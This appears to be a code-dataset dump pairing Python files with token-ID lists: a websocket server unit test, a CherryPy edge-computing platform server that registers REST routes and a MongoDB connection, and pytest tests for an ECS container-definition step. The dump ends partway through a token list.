29900, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29897, 13, 1678, 330, 29886, 29889, 3258, 29918, 4299, 29898, 29990, 29892, 612, 29892, 11462, 29918, 1707, 29892, 11462, 29918, 29886, 13479, 2433, 20227, 1495, 13, 13, 1678, 330, 29886, 29889, 20640, 675, 580, 13, 13, 1678, 1060, 29918, 11965, 353, 7442, 29889, 1915, 3493, 29898, 29896, 1696, 29945, 1696, 29896, 29900, 467, 690, 14443, 3552, 29899, 29896, 29892, 29896, 876, 13, 1678, 2099, 29892, 18838, 353, 330, 29886, 29889, 27711, 29918, 29888, 29898, 29990, 29918, 11965, 29897, 13, 1678, 1596, 29898, 12676, 29897, 13, 1678, 396, 2158, 29898, 24542, 29897, 13, 13, 1678, 14550, 13, 1678, 835, 13, 1678, 396, 28258, 23236, 1243, 13, 1678, 835, 13, 1678, 1060, 353, 7442, 29889, 279, 927, 29898, 29896, 29892, 29953, 467, 690, 14443, 3552, 29945, 29892, 29896, 876, 13, 1678, 612, 353, 7442, 29889, 2378, 4197, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 14664, 690, 14443, 3552, 29945, 29892, 29896, 876, 13, 13, 1678, 330, 6739, 353, 402, 19737, 15646, 29918, 2385, 3709, 580, 13, 1678, 330, 6739, 29889, 3258, 29918, 17460, 29898, 29896, 29892, 525, 29934, 28062, 742, 29871, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 29897, 13, 1678, 330, 6739, 29889, 3258, 29918, 4299, 29898, 29990, 29892, 612, 29897, 13, 13, 1678, 1060, 29918, 11965, 353, 7442, 29889, 1915, 3493, 29898, 29896, 1696, 29945, 1696, 29896, 29900, 467, 690, 14443, 3552, 29899, 29896, 29892, 29896, 876, 13, 1678, 1596, 29898, 29887, 6739, 29889, 27711, 29918, 22795, 29898, 29990, 29918, 11965, 876, 13, 1678, 1596, 29898, 29887, 6739, 29889, 4299, 29897, 13, 1678, 330, 6739, 29889, 20640, 675, 580, 13, 1678, 1596, 29898, 29887, 6739, 29889, 27711, 29918, 22795, 29898, 29990, 29918, 11965, 876, 13, 1678, 1596, 29898, 29887, 6739, 29889, 4299, 29897, 13, 1678, 14550, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1667, 580, 13, 2 ]
finalProject_nknySystem/Project/NKNUSystemBackend/Tests/WebSocketTest/ServerUnitTest.py
JE-Chen/je_old_repo
3
1604404
<reponame>JE-Chen/je_old_repo<gh_stars>1-10 import sys import time import unittest import JEWebSocket class TestServer(unittest.TestCase): def tearDown(self) -> None: pass def setUp(self) -> None: pass def testServer(self): websocket = JEWebSocket.WebsocketServer("localhost", 5555) time.sleep(3)
[ 1, 529, 276, 1112, 420, 29958, 29967, 29923, 29899, 1451, 264, 29914, 1324, 29918, 1025, 29918, 20095, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 10876, 30004, 13, 5215, 931, 30004, 13, 5215, 443, 27958, 30004, 13, 30004, 13, 5215, 435, 29923, 3609, 11373, 30004, 13, 30004, 13, 30004, 13, 1990, 4321, 6004, 29898, 348, 27958, 29889, 3057, 8259, 1125, 30004, 13, 30004, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 29897, 1599, 6213, 29901, 30004, 13, 4706, 1209, 30004, 13, 30004, 13, 1678, 822, 731, 3373, 29898, 1311, 29897, 1599, 6213, 29901, 30004, 13, 4706, 1209, 30004, 13, 30004, 13, 1678, 822, 1243, 6004, 29898, 1311, 1125, 30004, 13, 4706, 1856, 11514, 353, 435, 29923, 3609, 11373, 29889, 3609, 11514, 6004, 703, 7640, 613, 29871, 29945, 29945, 29945, 29945, 8443, 13, 4706, 931, 29889, 17059, 29898, 29941, 8443, 13, 2 ]
mepserver/main.py
ATNoG/netedge-mep
0
199523
# Copyright 2022 Instituto de Telecomunicações - Aveiro # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from mp1.service_mgmt.controllers.app_subscriptions_controller import ( ApplicationSubscriptionsController, ) from mp1.service_mgmt.controllers.app_services_controller import ( ApplicationServicesController, ) from mp1.service_mgmt.controllers.services_controller import ServicesController from mp1.service_mgmt.controllers.transports_controller import TransportsController # Application Support Controllers from mp1.application_support.controllers.app_confirmation_controller import ( ApplicationConfirmationController, ) from mp1.databases.database_base import DatabaseBase from mp1.databases.dbmongo import MongoDb from typing import Type import cherrypy import argparse from mp1.utils import check_port def main(database: Type[DatabaseBase]): ################################## # Application support interface # ################################## support_dispatcher = cherrypy.dispatch.RoutesDispatcher() ##################################### # Application ready and termination # ##################################### support_dispatcher.connect( name="Application Ready Notification", action="application_confirm_ready", controller=ApplicationConfirmationController, route="/applications/:appInstanceId/confirm_ready", conditions=dict(method=["POST"]), ) support_dispatcher.connect( name="Application termination request", action="application_confirm_termination", controller=ApplicationConfirmationController, route="/applications/:appInstanceId/confirm_termination", conditions=dict(method=["POST"]), ) ############################################# # Application service management interface # ############################################# mgmt_dispatcher = cherrypy.dispatch.RoutesDispatcher() # Todo load from config file ####################################### # Application Subscription Controller # ####################################### mgmt_dispatcher.connect( name="Get an applicationInstanceId Subscriptions", action="applications_subscriptions_get", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Get an applicationInstanceId Subscriptions", action="applications_subscriptions_get_with_subscription_id", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions/:subscriptionId", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Create applicationInstanceId Subscriptions", action="applications_subscriptions_post", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions", conditions=dict(method=["POST"]), ) mgmt_dispatcher.connect( name="Delete applicationInstanceID Subscriptions with subscriptionId", action="applications_subscriptions_delete", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions/:subscriptionId", conditions=dict(method=["DELETE"]), ) ################################### # Application Services Controller # ################################### mgmt_dispatcher.connect( name="Get service from InstanceId and parameters", action="applications_services_get", controller=ApplicationServicesController, route="/applications/:appInstanceId/services", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Create service for InstanceId", action="applications_services_post", controller=ApplicationServicesController, route="/applications/:appInstanceId/services", conditions=dict(method=["POST"]), ) mgmt_dispatcher.connect( name="Get service from InstanceId and ServiceId", action="applicaton_services_get_with_service_id", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Put data into existing service", action="application_services_put", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["PUT"]), ) mgmt_dispatcher.connect( name="Delete service", action="application_services_delete", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["DELETE"]), ) ####################### # Services Controller # ####################### mgmt_dispatcher.connect( name="Get services", action="services_get", controller=ServicesController, route="/services", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Get services with serviceId", action="services_get_with_serviceId", controller=ServicesController, route="/services/:serviceId", conditions=dict(method=["GET"]), ) ######################## # Transport Controller # ######################## mgmt_dispatcher.connect( name="Get transports", action="transports_get", controller=TransportsController, route="/transports", conditions=dict(method=["GET"]), ) cherrypy.config.update( {"server.socket_host": "0.0.0.0", "server.socket_port": 8080} ) supp_conf = {"/": {"request.dispatch": support_dispatcher}} cherrypy.tree.mount(None, "/mec_app_support/v1", config=supp_conf) mgmt_conf = {"/": {"request.dispatch": mgmt_dispatcher}} cherrypy.tree.mount(None, "/mec_service_mgmt/v1", config=mgmt_conf) ###################################### # Database Connection to all threads # ###################################### if isinstance(database, DatabaseBase): cherrypy.engine.subscribe("start_thread", database.connect) cherrypy.engine.start() else: cherrypy.log("Invalid database provided to MEP. Shutting down.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Multi-Access Edge Computing Platform") parser.add_argument("--mongodb_addr", help="MongoDB Address", default="127.0.0.1") parser.add_argument( "--mongodb_port", type=check_port, help="MongoDB port", default=27017 ) parser.add_argument( "--mongodb_database", help="Database inside MongoDB", default="mep" ) parser.add_argument("--mongodb_password", help="<PASSWORD>") parser.add_argument("--mongodb_username", help="Username to acces MongoDB") args = parser.parse_args() # TODO should be loaded form config file # TODO same as therest of the dispatcher main(MongoDb(args.mongodb_addr, args.mongodb_port, args.mongodb_database))
[ 1, 396, 14187, 1266, 29871, 29906, 29900, 29906, 29906, 20314, 316, 9699, 510, 348, 983, 5616, 448, 319, 345, 3350, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 268, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 268, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 268, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 268, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 268, 27028, 1090, 278, 19245, 29889, 13, 13, 3166, 22326, 29896, 29889, 5509, 29918, 29885, 29887, 4378, 29889, 1285, 11897, 29889, 932, 29918, 1491, 7588, 1980, 29918, 8299, 1053, 313, 13, 1678, 8427, 4035, 7588, 1980, 2956, 29892, 13, 29897, 13, 3166, 22326, 29896, 29889, 5509, 29918, 29885, 29887, 4378, 29889, 1285, 11897, 29889, 932, 29918, 9916, 29918, 8299, 1053, 313, 13, 1678, 8427, 13779, 2956, 29892, 13, 29897, 13, 3166, 22326, 29896, 29889, 5509, 29918, 29885, 29887, 4378, 29889, 1285, 11897, 29889, 9916, 29918, 8299, 1053, 15538, 2956, 13, 3166, 22326, 29896, 29889, 5509, 29918, 29885, 29887, 4378, 29889, 1285, 11897, 29889, 3286, 4011, 29918, 8299, 1053, 4103, 4011, 2956, 13, 13, 29937, 8427, 18601, 2866, 11897, 13, 3166, 22326, 29896, 29889, 6214, 29918, 5924, 29889, 1285, 11897, 29889, 932, 29918, 26897, 362, 29918, 8299, 1053, 313, 13, 1678, 8427, 16376, 3568, 362, 2956, 29892, 13, 29897, 13, 13, 3166, 22326, 29896, 29889, 29503, 2129, 29889, 9803, 29918, 3188, 1053, 5470, 5160, 13, 3166, 22326, 29896, 29889, 29503, 2129, 29889, 2585, 29885, 7443, 1053, 18294, 10234, 13, 3166, 19229, 1053, 5167, 13, 5215, 14954, 719, 2272, 13, 5215, 1852, 5510, 13, 3166, 22326, 29896, 29889, 13239, 1053, 1423, 29918, 637, 13, 13, 13, 1753, 1667, 29898, 9803, 29901, 5167, 29961, 9112, 5160, 29962, 1125, 13, 13, 1678, 835, 13383, 7346, 4136, 2277, 29937, 13, 1678, 396, 8427, 2304, 5067, 29871, 396, 13, 1678, 835, 13383, 7346, 4136, 2277, 29937, 13, 13, 1678, 2304, 29918, 13369, 261, 353, 14954, 719, 2272, 29889, 13369, 29889, 24254, 267, 23669, 580, 13, 13, 1678, 835, 13383, 13383, 2277, 13, 1678, 396, 8427, 7960, 322, 1840, 3381, 396, 13, 1678, 835, 13383, 13383, 2277, 13, 1678, 2304, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 4873, 830, 3714, 28578, 613, 13, 4706, 3158, 543, 6214, 29918, 26897, 29918, 2040, 613, 13, 4706, 4701, 29922, 4873, 16376, 3568, 362, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 26897, 29918, 2040, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 5438, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 2304, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 4873, 1840, 3381, 2009, 613, 13, 4706, 3158, 543, 6214, 29918, 26897, 29918, 18821, 362, 613, 13, 4706, 4701, 29922, 4873, 16376, 3568, 362, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 26897, 29918, 18821, 362, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 5438, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 835, 13383, 13383, 7346, 2277, 13, 1678, 396, 8427, 2669, 10643, 5067, 29871, 396, 13, 1678, 835, 13383, 13383, 7346, 2277, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 353, 14954, 719, 2272, 29889, 13369, 29889, 24254, 267, 23669, 580, 13, 1678, 396, 7561, 29877, 2254, 515, 2295, 934, 13, 1678, 835, 13383, 13383, 4136, 13, 1678, 396, 8427, 3323, 22371, 15830, 396, 13, 1678, 835, 13383, 13383, 4136, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 2577, 385, 2280, 4998, 1204, 3323, 7588, 1980, 613, 13, 4706, 3158, 543, 932, 5795, 29918, 1491, 7588, 1980, 29918, 657, 613, 13, 4706, 4701, 29922, 4873, 4035, 7588, 1980, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 1491, 7588, 1980, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 7194, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 2577, 385, 2280, 4998, 1204, 3323, 7588, 1980, 613, 13, 4706, 3158, 543, 932, 5795, 29918, 1491, 7588, 1980, 29918, 657, 29918, 2541, 29918, 1491, 22371, 29918, 333, 613, 13, 4706, 4701, 29922, 4873, 4035, 7588, 1980, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 1491, 7588, 1980, 24676, 1491, 22371, 1204, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 7194, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 4391, 2280, 4998, 1204, 3323, 7588, 1980, 613, 13, 4706, 3158, 543, 932, 5795, 29918, 1491, 7588, 1980, 29918, 2490, 613, 13, 4706, 4701, 29922, 4873, 4035, 7588, 1980, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 1491, 7588, 1980, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 5438, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 12498, 2280, 4998, 1367, 3323, 7588, 1980, 411, 25691, 1204, 613, 13, 4706, 3158, 543, 932, 5795, 29918, 1491, 7588, 1980, 29918, 8143, 613, 13, 4706, 4701, 29922, 4873, 4035, 7588, 1980, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 1491, 7588, 1980, 24676, 1491, 22371, 1204, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 2287, 18476, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 835, 13383, 13383, 13, 1678, 396, 8427, 15538, 15830, 396, 13, 1678, 835, 13383, 13383, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 2577, 2669, 515, 2799, 749, 1204, 322, 4128, 613, 13, 4706, 3158, 543, 932, 5795, 29918, 9916, 29918, 657, 613, 13, 4706, 4701, 29922, 4873, 13779, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 9916, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 7194, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 4391, 2669, 363, 2799, 749, 1204, 613, 13, 4706, 3158, 543, 932, 5795, 29918, 9916, 29918, 2490, 613, 13, 4706, 4701, 29922, 4873, 13779, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 9916, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 5438, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 2577, 2669, 515, 2799, 749, 1204, 322, 6692, 1204, 613, 13, 4706, 3158, 543, 932, 506, 14114, 29918, 9916, 29918, 657, 29918, 2541, 29918, 5509, 29918, 333, 613, 13, 4706, 4701, 29922, 4873, 13779, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 9916, 24676, 5509, 1204, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 7194, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 22908, 848, 964, 5923, 2669, 613, 13, 4706, 3158, 543, 6214, 29918, 9916, 29918, 649, 613, 13, 4706, 4701, 29922, 4873, 13779, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 9916, 24676, 5509, 1204, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 12336, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 12498, 2669, 613, 13, 4706, 3158, 543, 6214, 29918, 9916, 29918, 8143, 613, 13, 4706, 4701, 29922, 4873, 13779, 2956, 29892, 13, 4706, 5782, 13802, 932, 5795, 24676, 932, 4998, 1204, 29914, 9916, 24676, 5509, 1204, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 2287, 18476, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 835, 13383, 4136, 13, 1678, 396, 15538, 15830, 396, 13, 1678, 835, 13383, 4136, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 2577, 5786, 613, 13, 4706, 3158, 543, 9916, 29918, 657, 613, 13, 4706, 4701, 29922, 13779, 2956, 29892, 13, 4706, 5782, 13802, 9916, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 7194, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 2577, 5786, 411, 2669, 1204, 613, 13, 4706, 3158, 543, 9916, 29918, 657, 29918, 2541, 29918, 5509, 1204, 613, 13, 4706, 4701, 29922, 13779, 2956, 29892, 13, 4706, 5782, 13802, 9916, 24676, 5509, 1204, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 7194, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 835, 13383, 4136, 29937, 13, 1678, 396, 15710, 15830, 396, 13, 1678, 835, 13383, 4136, 29937, 13, 1678, 286, 29887, 4378, 29918, 13369, 261, 29889, 6915, 29898, 13, 4706, 1024, 543, 2577, 1301, 4011, 613, 13, 4706, 3158, 543, 3286, 4011, 29918, 657, 613, 13, 4706, 4701, 29922, 4300, 4011, 2956, 29892, 13, 4706, 5782, 13802, 3286, 4011, 613, 13, 4706, 5855, 29922, 8977, 29898, 5696, 29922, 3366, 7194, 3108, 511, 13, 1678, 1723, 13, 13, 1678, 14954, 719, 2272, 29889, 2917, 29889, 5504, 29898, 13, 4706, 8853, 2974, 29889, 11514, 29918, 3069, 1115, 376, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 613, 376, 2974, 29889, 11514, 29918, 637, 1115, 29871, 29947, 29900, 29947, 29900, 29913, 13, 1678, 1723, 13, 1678, 1462, 29918, 5527, 353, 8853, 29914, 1115, 8853, 3827, 29889, 13369, 1115, 2304, 29918, 13369, 261, 930, 13, 1678, 14954, 719, 2272, 29889, 8336, 29889, 16476, 29898, 8516, 29892, 5591, 29885, 687, 29918, 932, 29918, 5924, 29914, 29894, 29896, 613, 2295, 29922, 19303, 29918, 5527, 29897, 13, 1678, 286, 29887, 4378, 29918, 5527, 353, 8853, 29914, 1115, 8853, 3827, 29889, 13369, 1115, 286, 29887, 4378, 29918, 13369, 261, 930, 13, 1678, 14954, 719, 2272, 29889, 8336, 29889, 16476, 29898, 8516, 29892, 5591, 29885, 687, 29918, 5509, 29918, 29885, 29887, 4378, 29914, 29894, 29896, 613, 2295, 29922, 29885, 29887, 4378, 29918, 5527, 29897, 13, 13, 1678, 835, 13383, 13383, 2277, 29937, 13, 1678, 396, 5470, 15160, 304, 599, 9717, 396, 13, 1678, 835, 13383, 13383, 2277, 29937, 13, 1678, 565, 338, 8758, 29898, 9803, 29892, 5470, 5160, 1125, 13, 4706, 14954, 719, 2272, 29889, 10599, 29889, 19496, 703, 2962, 29918, 7097, 613, 2566, 29889, 6915, 29897, 13, 4706, 14954, 719, 2272, 29889, 10599, 29889, 2962, 580, 13, 1678, 1683, 29901, 13, 4706, 14954, 719, 2272, 29889, 1188, 703, 13919, 2566, 4944, 304, 341, 15488, 29889, 1383, 329, 1259, 1623, 23157, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 543, 15329, 29899, 6638, 21086, 11796, 292, 28096, 1159, 13, 13, 1678, 13812, 29889, 1202, 29918, 23516, 703, 489, 23264, 29918, 10030, 613, 1371, 543, 29924, 7443, 4051, 16428, 613, 2322, 543, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 1159, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 376, 489, 23264, 29918, 637, 613, 1134, 29922, 3198, 29918, 637, 29892, 1371, 543, 29924, 7443, 4051, 2011, 613, 2322, 29922, 29906, 29955, 29900, 29896, 29955, 13, 1678, 1723, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 376, 489, 23264, 29918, 9803, 613, 1371, 543, 9112, 2768, 29004, 613, 2322, 543, 1004, 29886, 29908, 13, 1678, 1723, 13, 1678, 13812, 29889, 1202, 29918, 23516, 703, 489, 23264, 29918, 5630, 613, 1371, 543, 29966, 25711, 17013, 29958, 1159, 13, 1678, 13812, 29889, 1202, 29918, 23516, 703, 489, 23264, 29918, 6786, 613, 1371, 543, 20249, 304, 1035, 267, 29004, 1159, 13, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 1678, 396, 14402, 881, 367, 7500, 883, 2295, 934, 13, 1678, 396, 14402, 1021, 408, 29220, 342, 310, 278, 13916, 261, 13, 1678, 1667, 29898, 29924, 7443, 10234, 29898, 5085, 29889, 23264, 29918, 10030, 29892, 6389, 29889, 23264, 29918, 637, 29892, 6389, 29889, 23264, 29918, 9803, 876, 13, 2 ]
tests/test_prepareDeploymentContainerDefinitionsStep.py
AdventielFr/ecs-crd-cli
1
20034
import pytest from unittest.mock import MagicMock import logging from ecs_crd.canaryReleaseInfos import CanaryReleaseInfos from ecs_crd.prepareDeploymentContainerDefinitionsStep import PrepareDeploymentContainerDefinitionsStep from ecs_crd.canaryReleaseInfos import ScaleInfos logger = logging.Logger('mock') infos = CanaryReleaseInfos(action='test') step = PrepareDeploymentContainerDefinitionsStep(infos, logger) def test_process_container_name_valid(): # default source = {} target = {} step._process_container_name(source, target) target['Name'] == 'default' # with name source = {} source['name']='test' target = {} step._process_container_name(source, target) target['Name'] == source['name'] def test_process_container_name_valid(): # default source = {} target = {} step.infos.account_id='123456789' step.infos.region='eu-west-3' step.infos.service_name='service' step.infos.service_version='latest' step._process_container_image(source, target) assert target['Image'] == '123456789.dkr.ecr.eu-west-3.amazonaws.com/service:latest' # with name source = {} source['image']='test' target = {} step._process_container_image(source, target) assert target['Image'] == source['image'] def test_process_container_cpu_invalid(): source = {} source['cpu'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_cpu(source, target) def test_process_container_cpu_valid(): source = {} target = {} # default value step._process_container_cpu(source, target) assert target['Cpu'] == 128 # set value source['cpu'] = 256 target = {} step._process_container_cpu(source, target) assert target['Cpu'] == source['cpu'] def test_process_container_entry_point_valid(): source = {} source['entry_point']=[] source['entry_point'].append('a') source['entry_point'].append('b') target = {} step._process_container_entry_point(source, target) assert target['EntryPoint'] == 'a,b' def test_process_container_entry_point_invalid(): source = {} source['entry_point']='a' target = {} with pytest.raises(ValueError): step._process_container_entry_point(source, target) def test_process_container_command_valid(): source = {} source['command']=[] source['command'].append('a') source['command'].append('b') target = {} step._process_container_command(source, target) assert len(target['Command'])==2 assert target['Command'][0] == 'a' assert target['Command'][1] == 'b' def test_process_container_command_invalid(): source = {} source['command']='b' target = {} with pytest.raises(ValueError): step._process_container_command(source, target) def test_process_container_dns_search_domains_valid(): source = {} source['dns_search_domains']=[] source['dns_search_domains'].append('a') source['dns_search_domains'].append('b') target = {} step._process_container_dns_search_domains(source, target) assert len(target['DnsSearchDomains'])==2 assert target['DnsSearchDomains'][0] == 'a' assert target['DnsSearchDomains'][1] == 'b' def _process_container_dns_search_domains_invalid(): source = {} source['dns_search_domains']='b' target = {} with pytest.raises(ValueError): step._process_container_dns_search_domains(source, target) def test_process_container_disable_networking_valid(): source = {} source['disable_networking'] = True target = {} step._process_container_disable_networking(source, target) assert target['DisableNetworking'] == source['disable_networking'] source = {} source['disable_networking'] = False target = {} step._process_container_disable_networking(source, target) assert target['DisableNetworking'] == source['disable_networking'] def _process_container_disable_networking_invalid(): source = {} source['disable_networking']='b' target = {} with pytest.raises(ValueError): step._process_container_disable_networking(source, target) def test_process_container_dns_servers_valid(): source = {} source['dns_servers']=[] source['dns_servers'].append('a') source['dns_servers'].append('b') target = {} step._process_container_dns_servers(source, target) assert len(target['DnsServers'])==2 assert target['DnsServers'][0] == 'a' assert target['DnsServers'][1] == 'b' def _process_container_dns_servers_invalid(): source = {} source['dns_servers']='b' target = {} with pytest.raises(ValueError): step._process_container_dns_servers(source, target) def test_process_container_start_timeout_invalid(): source = {} source['start_timeout'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_start_timeout(source, target) def test_process_container_start_timeout_valid(): source = {} source['start_timeout']=60 target = {} step._process_container_start_timeout(source, target) assert target['StartTimeout'] == source['start_timeout'] def test_process_container_stop_timeout_invalid(): source = {} source['stop_timeout'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_stop_timeout(source, target) def test_process_container_stop_timeout_valid(): source = {} source['stop_timeout']=60 target = {} step._process_container_stop_timeout(source, target) assert target['StopTimeout'] == source['stop_timeout'] def test_process_container_hostname_valid(): source = {} source['hostname']='a' target = {} step._process_container_hostname(source, target) assert target['Hostname'] == source['hostname']
[ 1, 1053, 11451, 1688, 13, 3166, 443, 27958, 29889, 17640, 1053, 26494, 18680, 13, 5215, 12183, 13, 13, 3166, 321, 2395, 29918, 29883, 5499, 29889, 3068, 653, 19729, 25433, 359, 1053, 1815, 653, 19729, 25433, 359, 13, 3166, 321, 2395, 29918, 29883, 5499, 29889, 19125, 8498, 22812, 7895, 3206, 262, 2187, 14448, 1053, 349, 3445, 598, 8498, 22812, 7895, 3206, 262, 2187, 14448, 13, 3166, 321, 2395, 29918, 29883, 5499, 29889, 3068, 653, 19729, 25433, 359, 1053, 2522, 744, 25433, 359, 13, 13, 21707, 353, 12183, 29889, 16363, 877, 17640, 1495, 13, 7192, 359, 353, 1815, 653, 19729, 25433, 359, 29898, 2467, 2433, 1688, 1495, 13, 10568, 353, 349, 3445, 598, 8498, 22812, 7895, 3206, 262, 2187, 14448, 29898, 7192, 359, 29892, 17927, 29897, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 978, 29918, 3084, 7295, 13, 1678, 396, 2322, 13, 1678, 2752, 353, 6571, 13, 1678, 3646, 353, 6571, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 978, 29898, 4993, 29892, 3646, 29897, 13, 1678, 3646, 1839, 1170, 2033, 1275, 525, 4381, 29915, 13, 1678, 396, 411, 1024, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 978, 2033, 2433, 1688, 29915, 13, 1678, 3646, 353, 6571, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 978, 29898, 4993, 29892, 3646, 29897, 13, 1678, 3646, 1839, 1170, 2033, 1275, 2752, 1839, 978, 2033, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 978, 29918, 